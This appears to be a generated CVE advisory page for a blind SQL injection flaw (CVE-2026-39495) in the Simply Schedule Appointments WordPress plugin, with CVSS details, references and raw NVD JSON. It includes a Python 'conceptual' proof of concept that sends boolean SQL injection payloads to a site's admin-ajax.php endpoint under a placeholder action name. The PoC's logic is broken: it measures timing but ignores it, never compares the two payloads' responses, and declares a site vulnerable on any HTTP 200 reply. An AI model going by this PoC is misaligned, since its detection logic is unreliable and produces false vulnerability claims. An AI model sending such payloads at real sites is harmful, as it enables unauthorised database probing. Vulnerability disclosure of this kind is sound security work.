CVE-2026-39495

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Blind SQL Injection.This issue affects Simply Schedule Appointments: from n/a through <= 1.6.9.27.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Simply Schedule Appointments <= 1.6.9.27

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual Blind SQL Injection PoC for CVE-2026-39495
# Target: Simply Schedule Appointments <= 1.6.9.27

import requests
import time

target_url = "http://target-wordpress-site/wp-admin/admin-ajax.php"

# Vulnerable parameter simulation (e.g., 'appointment_id' or similar)
payload_true = "1 AND 1=1"
payload_false = "1 AND 1=2"

def check_sqli(payload):
    data = {
        "action": "ssa_booking_action", # Placeholder action name
        "id": payload
    }
    try:
        start_time = time.time()
        response = requests.post(target_url, data=data, timeout=5)
        end_time = time.time()
        # Analyze response time or content difference
        if response.status_code == 200:
            return True
    except Exception as e:
        print(f"Error: {e}")
    return False

# Example usage
if check_sqli(payload_true):
    print("Vulnerable to Blind SQL Injection")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39495
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39495
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39495/
[4] VulDB https://vuldb.com/cve/CVE-2026-39495
[5] https://patchstack.com/database/Wordpress/Plugin/simply-schedule-appointments/vulnerability/wordpress-simply-schedule-appointments-plugin-1-6-9-27-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39495", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:23.800", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Blind SQL Injection.This issue affects Simply Schedule Appointments: from n/a through <= 1.6.9.27."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simply-schedule-appointments/vulnerability/wordpress-simply-schedule-appointments-plugin-1-6-9-27-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}